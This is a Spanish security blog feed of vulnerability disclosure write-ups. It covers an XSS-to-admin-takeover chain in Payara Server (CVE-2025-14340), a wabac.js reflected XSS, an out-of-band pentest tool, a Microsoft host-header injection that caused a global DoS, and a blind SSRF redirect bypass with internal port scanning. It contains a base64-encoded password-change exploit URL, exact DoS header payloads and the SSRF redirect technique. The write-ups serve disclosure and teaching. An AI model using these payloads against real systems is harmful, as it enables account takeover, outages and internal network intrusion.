deepsecurity

CVE-2025-14340 De XSS Reflejado a Takeover Completo de Administrador en Payara Server

Tue, 24 Mar 2026 05:18:20 GMT

Análisis rápido

Durante una revisión de la interfaz REST de administración de Payara Server se identificó una cadena de explotación en la que un XSS reflejado podía combinarse con un flujo inseguro de cambio de contraseña para derivar en takeover completo de la cuenta administrator. La severidad real del caso no estaba en una sola falla, sino en la forma en que varias decisiones de diseño reducían la resistencia del panel frente a ejecución de JavaScript en el mismo origen.

El impacto no dependía únicamente del XSS. La cadena se volvía crítica por la combinación de cuatro elementos:

- XSS reflejado en un endpoint administrativo
- Cambio de contraseña sin validar la contraseña actual
- Basic Auth enviada automáticamente por el navegador
- Protección anti-CSRF débil basada en X-Requested-By

En conjunto, esto permitía que un administrador autenticado, al visitar un enlace malicioso, terminara ejecutando una solicitud válida contra el endpoint de cambio de contraseña. Por esta vulnerabilidad me asignaron el CVE-2025-14340

XSS y el punto de entrada

El primer componente era un XSS reflejado en el endpoint de versión de la consola:

GET /management/domain/version?xss=<payload> HTTP/1.1
Host: panel.example.com:4848

En una consola de este tipo, un XSS no solo afecta la vista del usuario. También permite interactuar con funciones sensibles usando el mismo contexto autenticado del administrador.

El CSRF que convierte el bug en takeover

El segundo componente estaba en /management/domain/change-admin-password . De forma resumida, el flujo aceptaba una solicitud similar a esta:

POST /management/domain/change-admin-password HTTP/1.1
Host: panel.example.com:4848
X-Requested-By: GlassFish REST HTML interface
Content-Type: application/x-www-form-urlencoded

id=admin&newpassword=[REDACTED]&password=[REDACTED]

Lo problemático no era solo que cambiara credenciales, sino dos agravantes de diseño:

No exigía la contraseña actual
La “protección” anti-CSRF se basaba en X-Requested-By .

Ese header funcionaba como una cabecera personalizada para marcar que la solicitud provenía del frontend esperado. El problema es que no era un control fuerte frente a JavaScript malicioso ejecutándose same-origin .

¿Header `X-Requested-By` ?

X-Requested-By era, en la práctica, la señal que el backend utilizaba para distinguir una solicitud “esperada” de una solicitud arbitraria.

La lógica era simple: si la request incluía la cabecera esperada, el servidor la trataba como legítima. Ese enfoque puede frenar algunos intentos externos básicos, pero deja de ser útil cuando un atacante consigue ejecutar JavaScript dentro del mismo origen de la consola.

A nivel práctico, el comportamiento observado podía resumirse en un payload como la siguiente POC .

fetch ( '/management/domain/change-admin-password' , {

method: 'POST' ,

headers: {

'X-Requested-By' : 'GlassFish REST HTML interface' ,

'Content-Type' : 'application/x-www-form-urlencoded'

body: 'id=admin&newpassword=admin123&password=admin123'

});

Y ahí aparecía el punto crítico de la cadena: el backend aceptaba una solicitud con la cabecera esperada, mientras el navegador adjuntaba automáticamente las credenciales administrativas mediante Basic Auth.

https://panel.example.com:4848/management/domain/version?xss <script> eval ( atob (' ZmV0Y2goJy9tYW5hZ2VtZW50L2RvbWFpbi9jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnLCB7CiAgbWV0aG9kOiAnUE9TVCcsCiAgaGVhZGVyczogewogICAgJ1gtUmVxdWVzdGVkLUJ5JzogJ0dsYXNzRmlzaCBSRVNUIEhUTUwgaW50ZXJmYWNlJywKICAgICdBY2NlcHQnOiAndGV4dC9odG1sJywKICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJwogIH0sCiAgYm9keTogJ2lkPWFkbWluJm5ld3Bhc3N3b3JkPVAxMjM0JnBhc3N3b3JkPVAxMjM0Jl9fcmVtb3ZlX2VtcHR5X2VudHJpZXNfXz10cnVlJj1jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnCn0pOw== ')); </script>

Full exploit: https://github.com/DeepSecurityResearch/CVE-2025-14340

Explotación y Same-Origin

La explotación no dependía de una petición cross-origin convencional, sino de la ejecución de JavaScript dentro del mismo origen de la consola administrativa.

¿Por qué el CSRF solo es explotable mediante el XSS?

Debido a que el endpoint usa Basic Authentication, explotarlo remotamente desde un origen externo es imposible:

- CORS bloquea requests cross-origin al endpoint de administración

- Basic Auth no puede forzarse desde otro dominio sin cooperación del navegador

- El header X-Requested-By no puede añadirse en requests cross-origin

Ese detalle era determinante. Una vez obtenido el XSS, el atacante podía interactuar con el endpoint de cambio de contraseña desde el mismo contexto que la interfaz legítima, incluyendo X-Requested-By y aprovechando el estado autenticado del administrador.

En ese punto, el XSS dejaba de ser un hallazgo aislado y se convertía en la primitive necesaria para comprometer directamente la cuenta administrativa.

Vectores de ataque

Campaña de Phishing Dirigido

Un atacante envía un email convincente con apariencia de "actualización de seguridad" que contiene el enlace malicioso. Cuando el administrador hace clic mientras está logueado, la contraseña se cambia silenciosamente.

Watering Hole

El atacante compromete un sitio interno frecuentemente visitado e inyecta un iframe invisible con el exploit. Al visitar el sitio, el exploit se ejecuta automáticamente en segundo plano sin indicación visible.

Supply Chain

Un atacante compromete la documentación de una herramienta usada por el equipo de operaciones. Al seguir un enlace de la documentación para troubleshooting, la cuenta queda comprometida.

Capacidades del Atacante con acceso a la consola de administración:

- Desplegar aplicaciones maliciosas (WAR/EAR files)

- Modificar configuración del servidor

- Acceder a datos de aplicaciones desplegadas

- Crear mecanismos de persistencia

- Extraer credenciales de datasources

Conclusión

CVE-2025-14340 demuestra cómo vulnerabilidades moderadas se convierten en críticas cuando se encadenan. Un XSS reflejado (severidad media) combinado con ausencia de protección CSRF (severidad baja-media) resultó en account takeover completo de administrador.

La falla no residía únicamente en el XSS reflejado, sino en la forma en que esa primitive podía encadenarse con una operación sensible insuficientemente protegida. En este caso, el resultado final era claro: un XSS en contexto administrativo terminaba habilitando el takeover completo del administrador.

Nota sobre el Coordinated Disclosure

Esta vulnerabilidad fue reportada siguiendo prácticas de divulgación responsable. El período de coordinación de 113 días permitió al vendor desarrollar y desplegar un fix antes de la divulgación pública. Sin embargo, el proceso presentó desafíos. A pesar del compromiso inicial del vendor de coordinar la publicación del CVE y asegurar la atribución apropiada, la comunicación fue inconsistente. El CVE fue publicado sin la notificación prometida y sin la atribución acordada, situación que se corrigió posteriormente tras solicitarlo. Esta experiencia subraya la importancia de:

Políticas claras de disclosure
Comunicación proactiva durante el proceso
Respeto a los acuerdos de atribución
Documentación exhaustiva de todas las interacciones

CVE-2025-58765: XSS Reflejado en Wayback Machine - Wabac.js

Wed, 04 Mar 2026 00:49:29 GMT

Análisis Rápido: XSS en Wayback Machine CVE-2025-58765

El equipo de research de DeepSecurity ha identificado y reportado la vulnerabilidad CVE-2025-58765 , un caso de Reflected Cross-Site Scripting (XSS) en la lógica de manejo de páginas 404 de wabac.js , componente utilizado por paquetes como @webrecorder/wabac , @webrecorder/archivewebpage y replaywebpage . La falla se origina porque el parámetro requestURL es insertado directamente dentro de un bloque <script> sin ningún tipo de escape, permitiendo a un atacante construir URLs maliciosas capaces de ejecutar código JavaScript arbitrario en el navegador de la víctima.

XSS reflejado en Javascript

En un XSS tradicional reflejado un valor no sanitizado controlado por el usuario, es usado para renderizar código javascript en el navegador de la víctima. Como ejemplo imaginemos una ruta que le da la bienvenida a un usuario tomando como valor el nombre del usuario de la variable GET name.

URL: https://vulnerabledomain.com/welcome?name=foobar1

HTML Ejemplo:

Si un atacante ingresara https://vulnerabledomain.com/welcome?name=<script>alert(1);</script> el código javascript se renderizaría y tendríamos un XSS reflejado clásico.

HTML Ejemplo:

En el caso del XSS reflejado en javascript, siguiendo con el ejemplo de la bienvenida a un usuario, imaginemos la URL es:

https://vulnerabledomain.com/welcome?name=foobar1

el html referencial sería el siguiente:

En este caso, el código una vez renderizado en el navegador mostraría el valor foobar1 después de bienvenido, sin embargo, este escenario es ligeramente diferente al anterior porque el payload que podríamos usar ya no requeriría que usemos la etiqueta <script>, dado que el valor de la variable name, se muestra en el contexto de un tag <script>.

La URL con un payload de ejemplo sería algo como la siguiente:

https://vulnerabledomain.com/welcome?name=foobar1";alert(1);//

En este escenario se conseguiría el mismo efecto de mostrar una alerta en el browser de la víctima pero sin necesidad de usar en el payload el tag <script>. Desde un punto de vista ofensivo, es una ventajas que un XSS no requiera de caracteres especiales usados en los tags HTML.

CVE-2025-58765: Impacto de la vulnerabilidad

El XSS reportado en el CVE-2025-58765, afecta varias aplicaciones de forma indirecta, esto es debido a que hay WebApps open source y páginas web de instituciones, que usan wabac.js para generar versiones archivadas de ciertos recursos web. A continuación se detalla como era la explotación del XSS.

Una aplicación web, integra la librería wabac.js para generar versiones archivadas de distintos sitios web.
Un atacante construye una URL maliciosa que contiene un payload en la variable RequestURL, el cual es diseñado para ejecutar JavaScript en el navegador de una víctima.
El link malicioso, es abierto en el navegador de la víctima y se ejecuta el JavaScript reflejado.
El atacante puede robar cookies (si no están protegidas con HttpOnly/sameSite), realizar acciones CSRF encubiertas o cargar recursos externos de control del atacante.

Nota: no incluimos PoC ni payloads explotables en este post público — para evitar facilitar el abuso y seguir buenas prácticas de divulgación responsable p áginas web. Entre las vulnerables expuestas en internet. es parte de la categoría antes mencionada, es reflejado en javascript. era tuvo tres puntos interesantes para mencionar en este write-up.

This is paragraph text. Click it or hit the Manage Text button to change the font, color, size, format, and more. To set up site-wide paragraph and title styles, go to Site Theme.

CVE-2025-58765: XSS en error 404

Dado que es una vulnerabilidad que afecta un número interesante de sitios,

Bypass CSP script-src 'nonce-{nonce}'

Tener una buena implementación de CSP, puede llegar a ser mucho más eficiente que implementar un WAF si se trata de mitigar riesgos. de la seguridad web , el nonce ayuda a prevenir ataques de inyección de scripts (como XSS), asegurando que solo se ejecuten los scripts que incluyan el token válido emitido por el servidor.

En el contexto de una CSP (Content Security Policy) , el término “nonce” se refiere a un valor único generado aleatoriamente que se usa para autorizar la ejecución de scripts seguros en una página web. Este valor se agrega al encabezado HTTP y a las etiquetas <script> para indicar qué código es de confianza.

Al usar un nonce —especialmente en el contexto de una CSP (Content Security Policy) — hay dos reglas clave:

Usarlo solo una vez por solicitud.
Debe ser imposible de predecir , generado de forma totalmente aleatoria.

En resumen, un CSP nonce es un token aleatorio que se usa una sola vez para validar una petición.

Introspector Framework: Out-Of-Band Pentest Tool

Fri, 20 Feb 2026 12:46:50 GMT

Introspecto r es un framework ofensivo diseñado para analizar y explotar comportamientos HTTP avanzados que ocurren “fuera” de la respuesta inmediata desde el servidor web (OOB - out of band). Más allá de un simple request/response, el objetivo es reconstruir la ruta de ejecución completa de un payload incluyendo patrones de redirección, resoluciones DNS, ejecución de solicitudes encadenadas y seguimiento de recursos servidos por el backend.

En escenarios reales, muchas vulnerabilidades críticas no se manifiestan en el HTML de salida (response), sino en la infraestructura intermedia y el comportamiento del backend: balanceadores, reverse proxies, WAFs, CDN, resolvers DNS, caches, microservicios internos y clientes HTTP automatizados . Introspector está diseñado para capturar ese “lado invisible” del flujo, registrando redirecciones, reintentos, resoluciones DNS, follow-ups automáticos, y solicitudes encadenadas que pueden ocurrir segundos después y en hosts completamente distintos.

Fue creada por el equipo de research de DeepSecurity específicamente para ir más allá de Burp Collaborator , permitiendo observar no solo si existe interacción OOB, sino cómo ocurre , qué componente la dispara, qué endpoint exacto la origina y qué cadena de ejecución se activa después (DNS, redirects, retries, fetches secundarios, etc.). En la práctica, Introspector ha sido utilizado tanto en proyectos con clientes como en iniciativas de research y bug bounty , sirviendo como base para hallazgos reales y reportes públicos, incluyendo Blind SSRF en Microsoft Ads , Host Header Injection + DoS en Microsoft , y vulnerabilidades CVE 2025 - 2026 reportadas responsablemente a plataformas como GlassFish y Payara .

¿Por qué usar Introspector en un pentest avanzado?

Este tipo de visibilidad es clave para explotar y validar vulnerabilidades modernas como:

SSRF (incluyendo SSRF ciego y SSRF con pivot a redes internas)
Host Header Injection (en especial cuando la app construye URLs absolutas para resets de password, links de verificación, callbacks, etc.)
Comportamientos anómalos en balanceadores / proxies (reescritura de Host, X-Forwarded-Host, X-Forwarded-Proto, Forwarded)
HTTP Request Smuggling (cuando el front-end y back-end interpretan distinto Content-Length / Transfer-Encoding)
Vulnerabilidades HTTP basadas en headers (cache poisoning, routing inconsistencies, internal URL generation, open redirect indirecto)

La interacción insegura con servicios externos como SSRF (Server-side request forgery) es una vulnerabilidad crítica que puede transformar su servidor de aplicaciones en un proxy de ataque . Al ser explotado, este tipo de vulnerabilidades permite a los atacantes alcanzar infraestructura interna privada o servicios locales, comprometiendo la integridad de toda la red organizacional.

Componentes clave:

Listeners OOB (DNS + HTTP/HTTPS) : capturan callbacks y preservan el contexto (headers, User-Agent, rutas, timing).
Hosting controlado: permite servir contenido/respuestas con el Content-Type esperado para observar cómo reacciona el fetcher/worker.
Session engine: agrupa y correlaciona interacciones por sesión.
Análisis de redirects: registra redirect chains y marca FOLLOW REDIRECT detected cuando el target visita el redirect.

Como usar Introspector para detectar un SSRF BLIND (Microsoft)

Este es un SSRF reportado a Microsoft en el cual la aplicación no devolvía ninguna señal útil: la respuesta se mantenía constante y no había forma de confirmar el comportamiento solo mirando el response.

Introspecto r es justo para estos casos. Te da visibilidad del lado "Blind" y te permite identificar el comportamiento del backend. Captura las interacciones OOB y las muestra con contexto (método, headers y timestamps). Y lo más importante te permite controlar el response para validar el comportamiento. Inyectando un payload personalizado en la respuesta HTTP.

Para confirmar el comportamiento utilizamos el módulo delayer, usamos un endpoint con delayer (/delayresponse?t=10) . El backend llego a consumir el recurso y el retraso se aplicó, Además, se observó que el fetcher/worker en este flujo no seguía redirecciones, lo que permite descartar si follow redirect es una alternativa.

INSTALACION RAPIDA

git clone https://github.com/deepsecurity-pe/Introspector.git
cd introspector-framework
pip3 install -r requirements.txt
sudo python3 Introspector.py --persist session01

RECURSOS

Si quieres profundizar en SSRF BLIND (tipos, técnicas y payloads), visita nuestro sitio dedicado: ssrf.im.
Además, en nuestro blog publicamos investigaciones y casos reales (incluido el SSRF reportado a Microsoft)

SSRF (recursos): https://ssrf.im/
Blog : https://deepsecurity.pe/blog
Introspector Docs : https://introspector.sh/
GitHub : https://github.com/DeepSecurityResearch/Introspector
OWASP SSRF : https://owasp.org/Top10/2021/es/A10_2021-Server-Side_Request_Forgery
OWASP SSRF Prevention Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/SSRF

Host Header Injection + DoS en Microsoft

Sat, 30 Aug 2025 07:19:33 GMT

¿Qué es Host Header Injection?

El HTTP Header "Host", es la cabecera encargada de decirle al Web Server, cual es el virtual host que debe resolver al recibir el request de un cliente. El siguiente ejemplo es un uso clásico del header en un request:

GET /reset HTTP/1.1

Host : example.com

En la práctica, muchos frameworks utilizan el "Host" para hacer redirects, formar urls o enlaces que luego son usados en funciones (password reset, verificación), callbacks OAuth/OIDC, CORS y generación de links públicos.

El problema de confiar en los Header

El problema con las implementaciones que confían en el Host para realizar alguna función, es que a veces se olvidan que el Host puede ser modificado desde el cliente. Y que ese header muchas veces, hace distintos saltos y puede pasar por un reverse proxy, load balancer o CDN que luego es reenviado (o normalizado). Una web vulnerable, al usar el valor de forma directa:

Un atacante puede inyectar algo como:

GET /reset-password HTTP/1.1

Host : attacker.com

Y obligar a la aplicación a escribir en su front, URLs hacia su dominio como en el ejemplo, pero también, interceptar las rutas de la aplicación o envenenar cachés (cache poisoning). En esencia, ese es el Host Header Injection... cuando una aplicación utiliza el Header Host y el atacante lo modifica antes de ser usado. Esto ocurre más a menudo de lo que parece.

En este post expongo un caso real de Host Header Injection avanzado, encontrado y explotado en Xandr, el servicio B2B de Microsoft Ads. Primero explico como logré un open redirect, y posteriormente como lo convertí en un Denial of Service que dejó la aplicación Inaccesible World Wide.

Vulnerability assesment

Como primer paso, forcé un Host header arbitrario para ver cómo reaccionaba la web, manteniendo el target real fijo en mi proxy (separando el Host header de la IP/puerto de destino para no “saltar” de servidor). Con el target apuntando al host legítimo, probé requests como:

GET /reset HTTP/1.1

Host : attacker.com

Si con un Host inesperado sigue funcionando la web, se puede inferir que hay un default/fallback virtual host y llega el momento de comenzar a observar qué hace el target con ese valor: ¿construye absolute URLs con Host?, ¿emite redirects basados en Host?, ¿altera routing o afecta caché?

Al momento de hacer cambio de "Host" puedes recibir inmediatamente "Invalid Host header" o su equivalente... Esto suele pasar cuando en la arquitectura hay reverse proxy / load balancer / CDN al frente de la web, en estos casos hay otras técnicas que te permiten cambiar el "Host" pero sin tener que cambiarlo directamente.

Explotación con Headers "Forwarded"

¿Qué es y por qué importa? La clave está en entender que estamos hablando de una vulnerabilidad que si bien impacta la aplicación web, se origina a nivel de protocolo. Las arquitecturas modernas casi siempre tienen saltos antes de llegar al backend real. Esto causa que el host a veces llegue modificado a su destino, esto puede ocurrir porque en algún "salto", algún asset del flujo, usa para la comunicación, un hostname local.

Dado que el backend en ocasiones requiere hacer un traceback y conocer el host original usado por el cliente, el protocolo HTTP ya ha implementado distintos headers que ayudan a realizar esta traza. Implementando esos headers, el backend sabe que host usar en las rutas.

X-Forwarded-Host (XFH) es un header que el edge (reverse proxy/CDN/load balancer) debería fijar para que el back-end conozca el host público que vio en el borde (por ejemplo, dashboard.vulnerable.com). Esto es útil cuando el edge reenvía los requests con un "Host" interno, pero el endpoint necesita construir absolute URLs correctas (redirects, password reset, enlaces públicos). La siguiente ilustración explica de manera más didáctica el comportamiento explotando un Open Redirect. Nota: NO es X-Forwarded-For (XFF).

OPEN REDIRECT

Cualquier lógica del endpoint que construye absolute URLs terminó emitiendo enlaces basados en "Host":

Password reset hijack (links de reset hacia mi dominio).
Open redirect en flujos que dependen de absolute URLs.
Cache poisoning si hay caches que indexan por host.
Potencial SSRF en callbacks que confían en el host resultante.

Denial of Service - Incorrect Host Parsing

En este momento es donde se pone más interesante el hallazgo. Para que el Host Header Injection tenga un impacto importante, debe ser o muy específico y encontrarlo en un endpoint como los antes mencionados o sencillamente debe ser adherida a otra vulnerabilidad.

Cuando explotas un Host Header Injection, así como en SSRF u Open Redirect, casi siempre hay en el backend, un parser que no está funcionando de forma adecuada. Este caso, no fue la excepción. Durante las pruebas que realicé, encontré que si el valor de X-Forwarded-Host contenía ciertos caracteres con URL encode, la aplicación (Backend) generaba un error y el Edge contestaba con un Error 502.

Cuando enviaba el payload correcto para explotar la vulnerabilidad, el dominio completo de la aplicación de Microsoft, quedaba Off con un error 502 en el index. De hecho, el DoS duraba mayor cantidad de tiempo según el payload que se ponía como valor, en algunos casos por cada request enviado, el portal reflejaba a nivel mundial Error 502 Service Unavailable hasta por 30 segundos.

X-Forwarded-Host: %2e%2F attacker.com (~10 segundos de DoS por request)

X-Forwarded-Host: %2e%2F attacker.com%3A123 (~30 seconds de DoS por request)

Para subir el impacto de la aplicación hice un pequeño script en python que basicamente enviaba requests con el payload específico en el header X-Forwarded-Host de manera automática y mientras el exploit estaba en ejecución, el portal se veía con error 502 World Wide.

Buenas práticas y snippets

Para que puedan practicar la vulnerabilidad y en caso tengan una aplicación vulnerable, les dejo un pequeño snippet de código explicando como se ve la vulnerabilidad desde el código fuente. Desde los headers.

(Referencial) - Recomendaciones:

No uses headers del cliente para el BASE_URL. Define el BASE_URL por entorno y consúltala desde un config file.

Si necesitas leer Host/X-Forwarded-Host, valida contra una allowlist y solo confía en headers seteados por tu reverse proxy/CDN (limpia los headers entrantes).

En el edge, no establezcas XFH → Host y fuerza canonical host (301/308) si llega uno no permitido.

Conclusiones

El caso presentado evidencia cómo una vulnerabilidad aparentemente menor, como confiar en el header "Host" puede convertirse en un vector crítico al interactuar con balanceadores, CDNs y parsers mal implementados. Lo que inició como un simple open redirect, aumentó considerablemente su impacto al escalar hasta un DoS global.

La lección que quisiera destacar es que la seguridad web no solo depende del código de la aplicación, también depende de cómo los distintos componentes de la arquitectura interactuan entre ellos y con los protocolos. Validar y controlar los headers entrantes, junto con una configuración segura en el edge, es indispensable para evitar que un detalle, se pueda transformar en un ataque de gran impacto. El hacking web moderno ya no es solo aplicación, también son protocolos.

Todos los Pentest realizados por el equipo de Deep Security, son ejecutados con un nivel técnico avalado por la experiencia de un equipo que reporta vulnerabilidades a las empresas más grandes del mundo.

Si necesitas un Pentest profesional y acompañamiento continuo para mantener segura la superficie en internet de tu compañía, escríbenos y nuestro equipo comercial te contactará.

Blind SSRF en Microsoft Ads

Thu, 24 Jul 2025 18:48:56 GMT

Server-Side Request Forgery para Pentesters

En este artículo, mostraré el roadmap de la explotación de un Blind SSRF encontrado en Microsoft Ads . Este análisis explica los controles implementados en la aplicación, así como también expone como esos controles fueron evadidos para enumerar endpoints en la red local del backend vulnerable.

El Server-Side Request Forgery no es vulnerabilidad nueva para nosotros. En una anterior ocasión, ya hemos escrito en este blog sobre un SSRF que encontré en msn.com y con el cual pudimos llegar a la red local del Web Server. En aquellos días, esta vulnerabilidad estaba poco explotada y los controles implementados para mitigarla, eran realmente pensando en otras vulnerabilidades y no en SSRF como tal.

Cada vez hay más controles que limitan la posibilidad de explotación real de esta vulnerabilidad y ahora se requiere un mayor entendimiento del entorno y conocimiento preciso del flujo de confianza del servicio, para poder explotar este tipo de vulnerabilidades.

Blind SSRF y sus complicaciones

En un escenario de blind SSRF, la explotación no se consigue enviando una URL arbitraria y esperando que algo ocurra. Dado que en este tipo de vulnerabilidad no se puede visualizar la respuesta de la petición, el análisis debe enfocarse en el comportamiento del componente para lograr inferir con la mayor certeza posible, la lógica con la que el backend recibe, procesa y ejecuta la solicitud. Para que esa ejecución ocurra, el payload debe cumplir con los criterios internos del sistema que lo interpreta.

Esto implica entender con precisión qué condiciones hacen que una URL sea aceptada y procesada: desde la validez del hostname, la estructura del recurso (body), el formato de datos que recibe (filetype), el procesamiento de extensiones específicas (filename) o esquemas particulares. El objetivo no es forzar el sistema, sino alinear la trama con la expectativa del endpoint receptor para que ejecute una acción específica que el atacante quiere. Así es como se puede adquirir el mayor control de la ejecución de la trama. Explotar un blind SSRF de forma efectiva, requiere diseñar una respuesta de nuestro server que se integre naturalmente en la lógica del flujo interno.

Análisis del filtro de las URLs.

Pasando al análisis técnico del comportamiento del servicio que identificamos como vulnerable en Microsoft Ads, lo primero interesante a mencionar, es que que el endpoint contaba con un control que evitaba que el recurso ingresado para ser procesado tuviese una URL que usara una IP como "hostname". De esta forma el backend evitaba que requests fuesen procesados y enviados si eran solicitados a una IP y no a un dominio. Este control dificulta realizar un escaneo a IPs locales de forma directa.

Funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com&var=true&var=MD5

No funciona:

GET /path/process/r?url=http%3A%2F%2F127.0.0.1&var=true&var=MD5

Además, el endpoint tenia un segundo control en el cual solo procesaba de forma adecuada las URLs (seguía el flujo completo de lógica) si la URL contenía en el nombre del archivo, un formato específico.

Funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&var=true&var=MD5

No funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.txt&var=true&var=MD5

En resumen, el endpoint recibe una URL. Pero solo la procesa, si el hostname es un dominio y si el archivo de la url es del formato previamente definido en la configuración del Endpoint.

Bypass con 302 Redirect (Request Control)

Cuando la explotación de un SSRF es exitosa, un atacante logra tomar control sobre las peticiones que realiza un endpoint y las reutiliza para obtener o modificar información confidencial del target. En este caso, aunque podría subir un archivo con el filetype necesario y ponerle un dominio a la URL, no podría hacer nada más que recibir un request del bot de Microsoft y ya.

Ya en otra ocasión, había tenido una situación similar y uno de los aprendizajes más valiosos que me dejó, fue que muchos de estos controles implementados en los backends, solo validaban el primer response que recibía del servicio consultado. Si la respuesta del servidor era un redirect, el control no aplicaba dado que el primer response en teoría si cumplía con lo necesario para ser procesado.

Entonces, en la vulnerabilidad encontrada en Microsoft Ads, ya habíamos identificado los controles que teníamos que evadir y ahora también tenemos la solución (teórica) que nos ayudaría a hacerles bypass: 302 Redirect. Para recapitular, nuestra URL, debe tener en la URL un filetype específico (.zip en este caso) y también debe ser un dominio y no una IP.

Para solucionar lo del dominio, pueden usar un dominio propio o usar alguno gratuito, si tienen la duda de cual es mejor, propio o gratuito, la realidad es que depende. Hay endpoints de lógica b2b que tienen blacklisteados muchos dominios gratuitos y hay otros que consumen en su mayoría recursos de fuentes gratuitas por lo que es mejor usar dominios que sean conocidos como camuflaje, por eso como antes mencioné, es super importante entender bien el endpoint que estamos trabajando.

El tema del zip es donde viene el bypass divertido, tenemos que hacerle creer que somos un .zip pero al mismo tiempo no serlo. Para lograr esto, en mi caso usé el apoyo de un pequeño script en python que aceptaba todos los paths que recibiera con un 302. Si el "bot" visita /ejemplo.zip, será redireccionado a cualquier destino que queramos.

Este código es parte de redirector.py:

Este script en mi server (dominio attacker.com), si es ejecutado de la siguiente manera:

redirector.py https://127.0.0.1:443/admin

Al recibir un request usando el servicio vulnerable, ej:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&var=true&var=MD5

El bot cuando ingrese a ese link, recibirá una redirección 302 y será como si realmente hubiésemos enviado:

GET /path/process/r?url=http%3A%2F%2F127.0.0.1:443/admin&var=true&var=MD5

Aquí les comparto una imagen real del "bot" siendo redirigido a mi Burp collaborator. Interesante ver que es un Python-Requests y que no se han tomado el tiempo de cambiar el user-agent, interesante por todo lo que eso representa...

Ok, validado que tenemos el control del "bot", y también que el bypass en si funcionó ¿Cómo usarlo para que aumente el impacto de la vulnerabilidad?

Pivot y Time-Based Port Scan

Si, es posible realizar un port scan usando esta técnica de redirect con el escenario tal y como lo tenemos en este momento. Para ejecutar el port scan, el plan es el siguiente:

1. Hacer que el request que manda el bot llegue al web server controlado por nosotros.

2. Redireccionar el request a IPLOCAL:PUERTO

3. Tomar nota del tiempo que demoro en regresar la respuesta al bot.

¿Por qué el tiempo es importante? porque normalmente si un request consulta un puerto abierto, la respuesta que recibe es inmediata, en cambio si el puerto está cerrado, hay timeout y la respuesta demorará en llegar.

¿Cómo medir el tiempo? esa pregunta es interesante hay varias maneras, pero el flujo que apliqué en esta vulnerabilidad fue el siguiente:

1. El request vulnerable llevarlo a Intruder de burp suite.

2. Configurar el intruder para mandar unos request con este formato:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/$PAYLOAD$/resource.zip&var=true&var=MD5

3. Configurar redirector,py para que el path de la url que reciba lo extraiga y lo ponga como puerto a una IP en específico.

4. Leer en el intruder el tiempo de respuesta de cada request que envió.

Es referencial, pero el código del redirector.py se ve algo así:

Con esta técnica en este momento y siguiendo la línea de tiempo como la he planteado, podríamos escanearle 65k puertos a 127.0.0.1, luego hacer lo mismo con cada una de las IPs, pero... ¿cual es la IP local de ese server? ¿Este SSRF nos puede servir de pivot para llegar a una red crítica? ¿como puedo atacar algún asset importante? A la hora de un Pentest o un Bug Bounty, un elemento clave, es demostrar el verdadero riesgo que representa una vulnerabilidad. y para un Blind SSRF no es tarea sencilla.

Quiero hacer énfasis una vez mas en la importancia que tiene entender el target y el endpoint que se está analizando. ¿Por qué? porque cuando escaneas esta clase de targets, con esta clase de método y todo a través de un SSRF, no siempre es fácil demostrar todo lo que se puede hacer. Entonces, aquí el elemento clave para explotar esta vulnerabilidad al máximo, es hacer ese network mapping para saber donde estamos y a que servicios podemos atacar.

En el caso de la vulnerabilidad en Microsoft Ads, busqué dos puertos específicos a distintos rangos de IPs locales, el 22 para buscar servidores con ssh a los que pudiese llegar y el 445 para buscar máquinas de personal que estuviesen conectadas a un domain controller. Así podría descartar rangos enteros de IPs que no tendrían mucho que ofrecer.

Aquí les comparto una imagen de la vulnerabilidad real, el cuadro verde son los puertos abiertos y el rojo son los cerrados, presten atención a como los tiempos de respuesta del 80 y 443 son menos de medio segundo vs los otros que demoran 3 segundos en volver. Podemos concluir que el server que estamos escaneando es un Web Server.

Análisis del código vulnerable

El bypass usando redirect 302, ocurre porque el código permitía que el request haga "follow" a los redirects. En la mayoría de librerías y clientes-cli que hacen conexiones HTTP, es posible configurarlos para que no sigan redirecciones.

He escrito un ejemplo de código vulnerable, para que se comprenda como funciona la vulnerabilidad desde distintos ángulos y también lo pueden usar para practicar. El código simula un endpoint llamado descargar, con una variable por get (url) que solo acepta links que terminen en ".zip". Si ejecutas el código, se levantará un web server en "https://vulnerable.com/descargar?url=" para explotar el código vulnerable, usa un script que redireccione todas las visitas hacia "https://127.0.0.1/admin", al visitar https://vulnerable.com/descargar?url=https://attacker.com/exploit.zip estarás visitando el panel admin de localhost.

Código vulnerable:

Ejemplo de redirect.py

Para solucionar el problema aquí y evitar que la aplicación no siga la redirección, habría que añadir el flag de allow_redirects en False al momento de lanzar el request. Esto sería cambiando la linea 19 de la siguiente manera:

response = requests.get(user_url, timeout=5, allow_redirects=False)

Conclusiones finales y Recomendaciones

Para los Pentesters, sepan que no es opcional entender el flujo completo de las aplicaciones que auditan, siempre debemos tener una idea clara sobre lo que pasa cuando se manda un payload, un buen Pentester es full-stack. Para los desarrolladores, siempre es bueno buscar las buenas prácticas de las tecnologías que se usan. De esa manera no se pasarán esta clase de vulnerabilidades que pueden ser muy sencillas de evitar con solo un flag.

Esta vulnerabilidad, fue reportada a Microsoft y ya implementó un fix. En abril de este año, aparecí en la lista de reconocimiento de Microsoft (MSRC) por ese reporte.

Si necesitas un Pentest profesional y acompañamiento continuo para mantener la superficie en internet de tu compañía segura, escríbenos y nuestro equipo comercial te contactará.

Ethical Hacking Smart Contracts

Mon, 04 Sep 2023 22:40:57 GMT

¿Por qué se siguen reportando incidentes en los Smart Contracts ?

Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza:

Falta de experiencia: el desarrollo de contratos inteligentes requiere un alto nivel de experiencia tanto en tecnología blockchain como en lenguajes de programación como Solidity, Vyper, Ride, entre otros. Sin embargo, es posible que muchos desarrolladores no tengan las habilidades y la experiencia necesarias para escribir código seguro. Esto puede generar vulnerabilidades y errores que los atacantes pueden aprovechar.
Código complejo: los contratos inteligentes pueden ser muy complejos, especialmente cuando involucran múltiples funciones e interacciones con otros contratos. Esta complejidad puede dificultar la identificación y el tratamiento de posibles vulnerabilidades.
